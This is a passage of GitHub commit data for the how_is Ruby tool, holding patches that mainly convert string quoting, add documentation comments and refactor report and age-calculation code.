''-'')\n+ cassette = repository.tr(\"/\", \"-\")\n VCR.use_cassette(cassette) do\n report = HowIs.generate_report(**options)\n end\n \n filename = \"#{cassette}-report.#{format}\"\n path = File.expand_path(\"spec/data/#{filename}\", __dir__)\n- File.open(path, ''w'') do |f|\n+ File.open(path, \"w\") do |f|\n f.puts report\n # HACK: Trailing newline is missing, otherwise.\n- f.puts if format == ''html''\n+ f.puts if format == \"html\"\n end\n end\n end\n end\n \n namespace :generate_reports do\n- desc ''Generate example HTML reports.''\n+ desc \"Generate example HTML reports.\"\n task :html do\n %w[\n how-is/example-repository\n how-is/example-empty-repository\n ].each do |repo|\n- HelperFunctions.generate_report(repo, ''html'')\n+ HelperFunctions.generate_report(repo, \"html\")\n end\n end\n \n- desc ''Generate example JSON reports.''\n+ desc \"Generate example JSON reports.\"\n task :json do\n- HelperFunctions.generate_report(''how-is/example-repository'', ''json'')\n+ HelperFunctions.generate_report(\"how-is/example-repository\", \"json\")\n end\n \n task :all => [:html, :json]"},{"sha":"3595c08ed71e81375b53de512423120a95c0c8b1","filename":"exe/how_is","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/exe/how_is","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/exe/how_is","contents_url":"https://api.github.com/repos/how-is/how_is/contents/exe/how_is?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -8,7 +8,7 @@ require \"how_is/cli\"\n begin\n result = HowIs::CLI.parse(ARGV)\n rescue HowIs::CLI::OptionsError => e\n- raise if ENV[''SHOW_TRACE'']\n+ raise if ENV[\"SHOW_TRACE\"]\n \n abort \"Error: #{e.message}\"\n end\n@@ -43,7 +43,7 @@ begin\n )\n end\n rescue => e\n- raise if ENV[''SHOW_TRACE'']\n+ raise if ENV[\"SHOW_TRACE\"]\n \n abort \"Error: #{e.message}\"\n end"},{"sha":"baa3d7c6a460e77f8a42447afe7fd6dbbdada19b","filename":"lib/how_is.rb","status":"modified","additions":19,"deletions":16,"changes":35,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,19 +1,22 @@\n # frozen_string_literal: true\n \n-require ''how_is/version''\n-require ''contracts''\n-require ''cacert''\n+require \"how_is/version\"\n+require \"contracts\"\n+require \"cacert\"\n \n Cacert.set_in_env\n \n C = Contracts\n \n+# HowIs control class used from the CLI tool.\n+#\n+# Generates an analysis and has methods to build reports from it.\n class HowIs\n include Contracts::Core\n \n- require ''how_is/fetcher''\n- require ''how_is/analyzer''\n- require ''how_is/report''\n+ require \"how_is/fetcher\"\n+ require \"how_is/analyzer\"\n+ require \"how_is/report\"\n \n DEFAULT_FORMAT = :html\n \n@@ -79,7 +82,7 @@ def self.from_hash(data)\n # generate.\n def self.supported_formats\n report_constants = HowIs.constants.grep(/.Report/) - [:BaseReport]\n- report_constants.map { |x| x.to_s.split(''Report'').first.downcase }\n+ report_constants.map { |x| x.to_s.split(\"Report\").first.downcase }\n end\n \n ##\n@@ -90,7 +93,7 @@ def self.supported_formats\n # if it can''t.\n def self.can_export_to?(file)\n # TODO: Check if the file is writable?\n- supported_formats.include?(file.split(''.'').last)\n+ supported_formats.include?(file.split(\".\").last)\n end\n \n # Generate an analysis.\n@@ -147,28 +150,28 @@ def self.from_config(config,\n report_class: nil)\n report_class ||= HowIs::Report\n \n- date = Date.strptime(Time.now.to_i.to_s, ''%s'')\n- friendly_date = date.strftime(''%B %d, %y'')\n+ date = Date.strptime(Time.now.to_i.to_s, \"%s\")\n+ friendly_date = date.strftime(\"%B %d, %y\")\n \n- analysis = HowIs.generate_analysis(repository: config[''repository''], github: github)\n+ analysis = HowIs.generate_analysis(repository: config[\"repository\"], github: github)\n \n report_data = {\n- repository: config[''repository''],\n+ repository: config[\"repository\"],\n date: date,\n friendly_date: friendly_date,\n }\n \n generated_reports = {}\n \n- config[''reports''].map do |format, report_config|\n+ config[\"reports\"].map do |format, report_config|\n # Sometimes report_data has unused keys, which generates a warning, but\n # we''re okay with it.\n- filename = silence_warnings { report_config[''filename''] % report_data }\n- file = File.join(report_config[''directory''], filename)\n+ filename = silence_warnings { report_config[\"filename\"] % report_data }\n+ file = File.join(report_config[\"directory\"], filename)\n \n report = report_class.export(analysis, format)\n \n- result = build_report(report_config[''frontmatter''], report_data, report)\n+ result = build_report(report_config[\"frontmatter\"], report_data, report)\n \n generated_reports[file] = result\n "},{"sha":"b6e8a6ec98d85f517cc33328d104a81d4a108aa3","filename":"lib/how_is/analyzer.rb","status":"modified","additions":53,"deletions":47,"changes":100,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/analyzer.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/analyzer.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/analyzer.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,29 +1,30 @@\n # frozen_string_literal: true\n \n-require ''contracts''\n-require ''ostruct''\n-require ''date''\n-require ''json''\n+require \"contracts\"\n+require \"ostruct\"\n+require \"date\"\n+require \"json\"\n \n class HowIs\n ##\n # Represents a completed analysis of the repository being analyzed.\n class Analysis < OpenStruct\n end\n \n+ # Creates Analysis objects with input data formatted in useful ways.\n class Analyzer\n include Contracts::Core\n \n ##\n- # Raised when attempting to export to an unsupported format.\n+ # Raised when attempting to import to an unsupported format.\n class UnsupportedImportFormat < StandardError\n def initialize(format)\n super(\"Unsupported import format: #{format}\")\n end\n end\n \n ##\n- # Generates and returns an analysis.i\n+ # Generates and returns an analysis.\n #\n # @param data [Fetcher::Results] The results gathered by Fetcher.\n # @param analysis_class (You don''t need this.) A class to use instead of\n@@ -43,7 +44,7 @@ def call(data, analysis_class: Analysis)\n number_of_pulls: pulls.length,\n \n issues_with_label: with_label_links(num_with_label(issues), data.repository),\n- issues_with_no_label: {''link'' => nil, ''total'' => num_with_no_label(issues)},\n+ issues_with_no_label: {\"link\" => nil, \"total\" => num_with_no_label(issues)},\n \n average_issue_age: average_age_for(issues),\n average_pull_age: average_age_for(pulls),\n@@ -64,15 +65,15 @@ def call(data, analysis_class: Analysis)\n # @param data [Hash] The hash to generate an Analysis from.\n def self.from_hash(data)\n hash = data.map { |k, v|\n- v = DateTime.parse(v) if k.end_with?(''_date'')\n+ v = DateTime.parse(v) if k.end_with?(\"_date\")\n \n [k, v]\n }.to_h\n \n hash.keys.each do |key|\n- next unless hash[key].is_a?(Hash) && hash[key][''date'']\n+ next unless hash[key].is_a?(Hash) && hash[key][\"date\"]\n \n- hash[key][''date''] = DateTime.parse(hash[key][''date''])\n+ hash[key][\"date\"] = DateTime.parse(hash[key][\"date\"])\n end\n \n Analysis.new(hash)\n@@ -90,60 +91,39 @@ def num_with_label(issues_or_pulls)\n \n hash = Hash.new(0)\n issues_or_pulls.each do |iop|\n- next unless iop[''labels'']\n+ next unless iop[\"labels\"]\n \n- iop[''labels''].each do |label|\n- hash[label[''name'']] += 1\n+ iop[\"labels\"].each do |label|\n+ hash[label[\"name\"]] += 1\n end\n end\n hash\n end\n \n # Returns the number of issues with no label.\n def num_with_no_label(issues)\n- issues.select { |x| x[''labels''].empty? }.length\n+ issues.select { |x| x[\"labels\"].empty? }.length\n end\n \n # Given an Array of dates, average the timestamps and return the date that\n # represents.\n def average_date_for(issues_or_pulls)\n- timestamps = issues_or_pulls.map { |iop| Date.parse(iop[''created_at'']).strftime(''%s'').to_i }\n+ timestamps = issues_or_pulls.map { |iop| Date.parse(iop[\"created_at\"]).strftime(\"%s\").to_i }\n average_timestamp = timestamps.reduce(:+) / issues_or_pulls.length\n \n- DateTime.strptime(average_timestamp.to_s, ''%s'')\n+ DateTime.strptime(average_timestamp.to_s, \"%s\")\n end\n \n # Given an Array of issues or pulls, return the average age of them.\n # Returns nil if no issues or pulls are provided.\n def average_age_for(issues_or_pulls)\n return nil if issues_or_pulls.empty?\n \n- ages = issues_or_pulls.map { |iop| time_ago_in_seconds(iop[''created_at'']) }\n- raw_average = ages.reduce(:+) / ages.length\n+ ages = issues_or_pulls.map { |iop| time_ago_in_seconds(iop[\"created_at\"]) }\n+ average_age_in_seconds = ages.reduce(:+) / ages.length\n \n- seconds_in_a_year = 31_556_926\n- seconds_in_a_month = 2_629_743\n- seconds_in_a_week = 604_800\n- seconds_in_a_day = 86_400\n-\n- years = raw_average / seconds_in_a_year\n- years_remainder = raw_average % seconds_in_a_year\n-\n- months = years_remainder / seconds_in_a_month\n- months_remainder = years_remainder % seconds_in_a_month\n-\n- weeks = months_remainder / seconds_in_a_week\n- weeks_remainder = months_remainder % seconds_in_a_week\n-\n- days = weeks_remainder / seconds_in_a_day\n-\n- values = [\n- [years, \"year\"],\n- [months, \"month\"],\n- [weeks, \"week\"],\n- [days, \"day\"],\n- ].reject { |(v, _)| v.zero? }.map { |(v, k)|\n- k += ''s'' if v != 1\n+ values = period_pairs_for(average_age_in_seconds).reject { |(v, _)| v.zero? }.map { |(v, k)|\n+ k += \"s\" if v != 1\n [v, k]\n }\n \n@@ -160,7 +140,7 @@ def average_age_for(issues_or_pulls)\n end\n \n def sort_iops_by_created_at(issues_or_pulls)\n- issues_or_pulls.sort_by { |x| DateTime.parse(x[''created_at'']) }\n+ issues_or_pulls.sort_by { |x| DateTime.parse(x[\"created_at\"]) }\n end\n \n # Given an Array of issues or pulls, return the oldest.\n@@ -181,7 +161,7 @@ def newest_for(issues_or_pulls)\n \n # Given an issue or PR, returns the date it was created.\n def date_for(issue_or_pull)\n- DateTime.parse(issue_or_pull[''created_at''])\n+ DateTime.parse(issue_or_pull[\"created_at\"])\n end\n \n private\n@@ -192,7 +172,7 @@ def with_label_links(labels, repository)\n labels.map { |label, num_issues|\n label_link = \"https://github.com/#{repository}/issues?q=\" + CGI.escape(\"is:open is:issue label:\\\"#{label}\\\"\")\n \n- [label, {''link'' => label_link, ''total'' => num_issues}]\n+ [label, {\"link\" => label_link, \"total\" => num_issues}]\n }.to_h\n end\n \n@@ -206,11 +186,37 @@ def issue_or_pull_to_hash(iop)\n \n ret = {}\n \n- ret[''html_url''] = iop[''html_url'']\n- ret[''number''] = iop[''number'']\n- ret[''date''] = date_for(iop)\n+ ret[\"html_url\"] = iop[\"html_url\"]\n+ ret[\"number\"] = iop[\"number\"]\n+ ret[\"date\"] = date_for(iop)\n \n ret\n end\n+\n+ SECONDS_IN_A_YEAR = 31_556_926\n+ SECONDS_IN_A_MONTH = 2_629_743\n+ SECONDS_IN_A_WEEK = 604_800\n+ SECONDS_IN_A_DAY = 86_400\n+\n+ # Calculates a list of pairs of value and period label.\n+ #\n+ # @param age_in_seconds [Float]\n+ #\n+ # @return [Array] The input age_in_seconds expressed as different\n+ # units, as pairs of value and unit name.\n+ def period_pairs_for(age_in_seconds)\n+ years_remainder = age_in_seconds % SECONDS_IN_A_YEAR\n+\n+ months_remainder = years_remainder % SECONDS_IN_A_MONTH\n+\n+ weeks_remainder = months_remainder % SECONDS_IN_A_WEEK\n+\n+ [\n+ [age_in_seconds / SECONDS_IN_A_YEAR, \"year\"],\n+ [years_remainder / SECONDS_IN_A_MONTH, \"month\"],\n+ [months_remainder / SECONDS_IN_A_WEEK, \"week\"],\n+ [weeks_remainder / SECONDS_IN_A_DAY, \"day\"],\n+ ]\n+ end\n end\n end"},{"sha":"95faa6f7b8eec7302f5a073e9b39f638a79c8514","filename":"lib/how_is/fetcher.rb","status":"modified","additions":9,"deletions":9,"changes":18,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/fetcher.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/fetcher.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/fetcher.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,12 +1,12 @@\n # frozen_string_literal: true\n \n-require ''contracts''\n-require ''github_api''\n-require ''how_is/pulse''\n+require \"contracts\"\n+require \"github_api\"\n+require \"how_is/pulse\"\n \n-##\n-# Fetches data from GitHub.\n class HowIs\n+ ##\n+ # Fetches data from GitHub.\n class Fetcher\n include Contracts::Core\n \n@@ -37,12 +37,12 @@ def call(repository,\n pulse = nil)\n github ||= Github.new(auto_pagination: true)\n pulse ||= HowIs::Pulse.new(repository)\n- user, repo = repository.split(''/'', 2)\n+ user, repo = repository.split(\"/\", 2)\n \n unless user && repo\n- raise HowIs::CLI::OptionsError, ''To generate a report from GitHub, '' \\\n- ''provide the repository '' \\\n- ''username/project. Quitting!''\n+ raise HowIs::CLI::OptionsError, \"To generate a report from GitHub, \" \\\n+ \"provide the repository \" \\\n+ \"username/project. Quitting!\"\n end\n \n issues = github.issues.list user: user, repo: repo"},{"sha":"1174669d9de3523b77c9abadd9415542e0037034","filename":"lib/how_is/pulse.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/pulse.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/pulse.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/pulse.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''tessellator/fetcher''\n+require \"tessellator/fetcher\"\n \n class HowIs\n # This entire class is a monstrous hack, because GitHub doesn''t provide\n@@ -36,12 +36,12 @@ def parts\n end\n \n def stats_html_fragment\n- parts.last.split('''').first.strip\n+ parts.last.split(\"\").first.strip\n end\n \n # Fetch Pulse page from GitHub for scraping.\n def fetch_pulse!(repository)\n- Tessellator::Fetcher.new.call(''get'', \"https://github.com/#{repository}/pulse/monthly\")\n+ Tessellator::Fetcher.new.call(\"get\", \"https://github.com/#{repository}/pulse/monthly\")\n end\n end\n end"},{"sha":"d8830d1284a736327c932318a6163d4b1d63ec2b","filename":"lib/how_is/report.rb","status":"modified","additions":9,"deletions":6,"changes":15,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/report.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,23 +1,26 @@\n # frozen_string_literal: true\n \n-require ''date''\n+require \"date\"\n require \"pathname\"\n \n class HowIs\n+ # Raised when attempting to export to an unsupported format\n class UnsupportedExportFormat < StandardError\n def initialize(format)\n super(\"Unsupported export format: #{format}\")\n end\n end\n \n+ # Report control class with class methods to make reports for an analysis\n+ # or to save reports in files, or otherwise interact with the files.\n class Report\n- require ''how_is/report/json''\n- require ''how_is/report/html''\n+ require \"how_is/report/json\"\n+ require \"how_is/report/html\"\n \n ##\n # Export a report to a file.\n def self.export_file(analysis, file)\n- format = file.split(''.'').last\n+ format = file.split(\".\").last\n report = get_report_class(format).new(analysis)\n \n report.export_file(file)\n@@ -37,7 +40,7 @@ def self.export(analysis, format = HowIs::DEFAULT_FORMAT)\n # @param file [String,Pathname] Name of file to write to\n # @param report [Report] Report to store\n def self.save_report(file, report)\n- File.open(file, ''w'') do |f|\n+ File.open(file, \"w\") do |f|\n f.write report\n end\n end\n@@ -49,7 +52,7 @@ def self.save_report(file, report)\n #\n # @return [String] Report format inferred from file name\n def self.infer_format(file)\n- Pathname(file).extname.delete(''.'')\n+ Pathname(file).extname.delete(\".\")\n end\n \n ##"},{"sha":"8ab674ab55b9852d0569396aeb9aed760e783eda","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":11,"deletions":10,"changes":21,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''json''\n+require \"json\"\n \n class HowIs\n BaseReport = Struct.new(:analysis)\n@@ -31,11 +31,11 @@ def generate_report_text!\n issue_or_pr_summary \"issue\", \"issue\"\n \n header \"Issues Per Label\"\n- issues_per_label = analysis.issues_with_label.to_a.sort_by { |(_, v)| v[''total''].to_i }.reverse\n+ issues_per_label = analysis.issues_with_label.to_a.sort_by { |(_, v)| v[\"total\"].to_i }.reverse\n issues_per_label.map! do |label, hash|\n- [label, hash[''total''], hash[''link'']]\n+ [label, hash[\"total\"], hash[\"link\"]]\n end\n- issues_per_label << [\"(No label)\", analysis.issues_with_no_label[''total''], nil]\n+ issues_per_label << [\"(No label)\", analysis.issues_with_no_label[\"total\"], nil]\n horizontal_bar_graph issues_per_label\n \n # See comment at beginning of function.\n@@ -125,19 +125,20 @@ def issue_or_pr_summary(type, type_label)\n date_format = \"%b %e, %Y\"\n a = analysis\n \n- number_of_type = a.send(\"number_of_#{type}s\")\n+ number_of_type = a.public_send(\"number_of_#{type}s\")\n \n- type_link = a.send(\"#{type}s_url\")\n- oldest = a.send(\"oldest_#{type}\")\n- newest = a.send(\"newest_#{type}\")\n+ type_link = a.public_send(\"#{type}s_url\")\n+ oldest = a.public_send(\"oldest_#{type}\")\n+ newest = a.public_send(\"newest_#{type}\")\n \n if number_of_type.zero?\n text \"There are #{link(\"no #{type_label}s open\", type_link)}.\"\n else\n- text \"There #{are_is(number_of_type)} #{link(\"#{number_of_type} #{pluralize(type_label, number_of_type)} open\", type_link)}.\"\n+ text \"There #{are_is(number_of_type)} #{link(\"#{number_of_type} \"\\\n+ \"#{pluralize(type_label, number_of_type)} open\", type_link)}.\"\n \n unordered_list [\n- \"Average age: #{a.send(\"average_#{type}_age\")}.\",\n+ \"Average age: #{a.public_send(\"average_#{type}_age\")}.\",\n \"#{link(''Oldest '' + type_label, oldest[''html_url''])} was opened on #{oldest[''date''].strftime(date_format)}.\",\n \"#{link(''Newest '' + type_label, newest[''html_url''])} was opened on #{newest[''date''].strftime(date_format)}.\",\n ]"},{"sha":"5def98338b99e9e6b4c8e5af8c418f97f9c1c20d","filename":"lib/how_is/report/html.rb","status":"modified","additions":59,"deletions":52,"changes":111,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/report/html.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/report/html.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/html.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,9 +1,10 @@\n # frozen_string_literal: true\n \n-require ''cgi''\n-require ''how_is/report/base_report''\n+require \"cgi\"\n+require \"how_is/report/base_report\"\n \n class HowIs\n+ # HTML Report implementation\n class HtmlReport < BaseReport\n def format\n :html\n@@ -34,6 +35,14 @@ def unordered_list(arr)\n @r += \"\\n\\n\"\n end\n \n+ ROW_HTML_GRAPH = <<-EOF\n+ \n+ %{label_text}\n+ %{link_text}\n+ \n+\n+ EOF\n+\n def horizontal_bar_graph(data)\n if data.length == 1 && data[0][0] == \"(No label)\"\n text \"There are no open issues to graph.\"\n@@ -48,65 +57,63 @@ def horizontal_bar_graph(data)\n \n @r += \"\\n\"\n data.each do |row|\n- percentage = get_percentage.call(row[1])\n-\n- label_text =\n- if row[2]\n- link(row[0], row[2])\n- else\n- row[0]\n- end\n-\n- @r += <<-EOF\n- \n- \n- \n- \n-\n- EOF\n+ @r += Kernel.format(ROW_HTML_GRAPH, label_width: label_width,\n+ label_text: label_text_for(row),\n+ percentage: get_percentage.call(row[1]),\n+ link_text: row[1])\n end\n @r += \"
#{label_text}#{row[1]}
\\n\"\n end\n \n def export\n- @r = ''''\n+ @r = \"\"\n generate_report_text!\n end\n \n+ HTML_DOC_TEMPLATE = <<~EOF\n+ \n+ \n+ \n+ %{title}\n+ \n+ \n+ \n+
\n+ %{report}\n+
\n+ \n+ \n+ EOF\n+\n def export_file(file)\n- report = export\n-\n- File.open(file, ''w'') do |f|\n- f.puts <<~EOF\n- \n- \n- \n- #{@title}\n- \n- \n- \n-
\n- #{report}\n-
\n- \n- \n- EOF\n+ content = Kernel.format(HTML_DOC_TEMPLATE, title: @title, report: export)\n+ File.open(file, \"w\") do |f|\n+ f.puts content\n+ end\n+ end\n+\n+ private\n+\n+ def label_text_for(row)\n+ if row[2]\n+ link(row[0], row[2])\n+ else\n+ row[0]\n end\n end\n end"},{"sha":"4b57331d06d8eae97ef32888e65e3dbe4efa2c35","filename":"lib/how_is/report/json.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/report/json.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/lib/how_is/report/json.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/json.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''how_is/report/base_report''\n+require \"how_is/report/base_report\"\n \n class HowIs\n ##\n@@ -26,7 +26,7 @@ def export\n ##\n # Generates a report and writes it to a file.\n def export_file(file)\n- File.open(file, ''w'') do |f|\n+ File.open(file, \"w\") do |f|\n f.write export\n end\n end"},{"sha":"2618c8d1f55135f1c0e2a51d13d837f94f780c2b","filename":"spec/how_is/analyzer_spec.rb","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is/analyzer_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is/analyzer_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/analyzer_spec.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,41 +1,41 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n+require \"spec_helper\"\n \n describe HowIs::Analyzer do\n- let(:issues) { JSON.parse(open(File.expand_path(''../data/issues.json'', __dir__)).read) }\n- let(:pulls) { JSON.parse(open(File.expand_path(''../data/pulls.json'', __dir__)).read) }\n+ let(:issues) { JSON.parse(open(File.expand_path(\"../data/issues.json\", __dir__)).read) }\n+ let(:pulls) { JSON.parse(open(File.expand_path(\"../data/pulls.json\", __dir__)).read) }\n \n- let(:fake_issues) { JSON.parse(open(File.expand_path(''../data/fake/issues.json'', __dir__)).read) }\n+ let(:fake_issues) { JSON.parse(open(File.expand_path(\"../data/fake/issues.json\", __dir__)).read) }\n # let(:fake_pulls) { JSON.parse(open(File.expand_path(''../data/pulls.json'', __dir__)).read) }\n \n let(:fetcher_results) { HowIs::Fetcher::Results.new(issues, pulls) }\n \n subject { HowIs::Analyzer.new }\n \n- context ''#num_with_label'' do\n- it ''returns a Hash mapping labels to the number of issues or pulls with that label'' do\n+ context \"#num_with_label\" do\n+ it \"returns a Hash mapping labels to the number of issues or pulls with that label\" do\n actual = subject.num_with_label(fake_issues)\n expected = {\"triage\" => 3, \"administrative\" => 2}\n \n expect(actual).to eq(expected)\n end\n end\n \n- context ''#average_date_for'' do\n- it ''returns the average date for the provided issues or pulls'' do\n+ context \"#average_date_for\" do\n+ it \"returns the average date for the provided issues or pulls\" do\n actual = subject.average_date_for(fake_issues)\n- expected = DateTime.parse(''2006-01-01'')\n+ expected = DateTime.parse(\"2006-01-01\")\n \n expect(actual).to eq(expected)\n end\n end\n \n- context ''#average_age_for'' do\n- it ''returns the average age for the provided issues or pulls'' do\n+ context \"#average_age_for\" do\n+ it \"returns the average age for the provided issues or pulls\" do\n actual = nil\n \n- date = DateTime.parse(''2016-07-07'')\n+ date = DateTime.parse(\"2016-07-07\")\n Timecop.freeze(date) do\n actual = subject.average_age_for(fake_issues)\n end\n@@ -46,10 +46,10 @@\n end\n end\n \n- context ''#oldest_for'' do\n- it ''returns the oldest item for the provided issues or pulls'' do\n+ context \"#oldest_for\" do\n+ it \"returns the oldest item for the provided issues or pulls\" do\n actual = subject.oldest_for(fake_issues)\n- expected = JSON.parse(open(File.expand_path(''../data/how_is/analyzer_spec/oldest_for.json'', __dir__)).read)\n+ expected = JSON.parse(open(File.expand_path(\"../data/how_is/analyzer_spec/oldest_for.json\", __dir__)).read)\n \n expect(actual).to eq(expected)\n end"},{"sha":"edd1b55415bbaf220f460ff8f02aa2cd0322d9de","filename":"spec/how_is/cli_spec.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is/cli_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is/cli_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/cli_spec.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,21 +1,21 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n-require ''how_is/cli''\n+require \"spec_helper\"\n+require \"how_is/cli\"\n \n-CLI_EXAMPLE_REPORT_FILE = File.expand_path(''../data/how_is/cli_spec/example_report.json'', __dir__)\n+CLI_EXAMPLE_REPORT_FILE = File.expand_path(\"../data/how_is/cli_spec/example_report.json\", __dir__)\n \n describe HowIs::CLI do\n subject { HowIs::CLI }\n \n- context ''#parse'' do\n- it ''converts flags to a Hash'' do\n+ context \"#parse\" do\n+ it \"converts flags to a Hash\" do\n actual = subject.parse(%w[--version])\n \n expect(actual[:options][:version]).to eq(true)\n end\n \n- it ''raises NoRepositoryError if a repository is required but not specified'' do\n+ it \"raises NoRepositoryError if a repository is required but not specified\" do\n expect {\n subject.parse(%w[])\n }.to raise_error(HowIs::CLI::NoRepositoryError)\n@@ -37,7 +37,7 @@\n expect(actual[:options][:from]).to eq(CLI_EXAMPLE_REPORT_FILE)\n end\n \n- it ''raises InvalidOutputFileError if you specify an invalid format'' do\n+ it \"raises InvalidOutputFileError if you specify an invalid format\" do\n expect {\n subject.parse(%w[--report has_an.invalidformat how-is/example-repository])\n }.to raise_error(HowIs::CLI::InvalidOutputFileError, /has_an.invalidformat/)"},{"sha":"cf0b304e36d15ccc99e90ab4b44c21c3f98f5889","filename":"spec/how_is/fetcher_spec.rb","status":"modified","additions":12,"deletions":12,"changes":24,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is/fetcher_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/spec/how_is/fetcher_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/fetcher_spec.rb?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,35 +1,35 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n-require ''json''\n+require \"spec_helper\"\n+require \"json\"\n \n describe HowIs::Fetcher do\n- let(:issues) { JSON.parse(open(File.expand_path(''../data/issues.json'', __dir__)).read) }\n- let(:pulls) { JSON.parse(open(File.expand_path(''../data/pulls.json'', __dir__)).read) }\n+ let(:issues) { JSON.parse(open(File.expand_path(\"../data/issues.json\", __dir__)).read) }\n+ let(:pulls) { JSON.parse(open(File.expand_path(\"../data/pulls.json\", __dir__)).read) }\n \n let(:github) {\n instance_double(\n- ''GitHub'',\n- issues: instance_double(''GitHub::Issues'', list: issues),\n- pulls: instance_double(''GitHub::Pulls'', list: pulls)\n+ \"GitHub\",\n+ issues: instance_double(\"GitHub::Issues\", list: issues),\n+ pulls: instance_double(\"GitHub::Pulls\", list: pulls)\n )\n }\n \n let(:pulse) {\n Class.new {\n def html_summary\n- ''html_summary''\n+ \"html_summary\"\n end\n }.new\n }\n \n- context ''#call'' do\n- it ''returns a hash containing issues and pull requests'' do\n- actual = subject.call(''user/repo'', github, pulse)\n+ context \"#call\" do\n+ it \"returns a hash containing issues and pull requests\" do\n+ actual = subject.call(\"user/repo\", github, pulse)\n \n expect(actual[:issues]).to eq(issues)\n expect(actual[:pulls]).to eq(pulls)\n- expect(actual[:pulse]).to eq(''html_summary'')\n+ expect(actual[:pulse]).to eq(\"html_summary\")\n end\n end\n 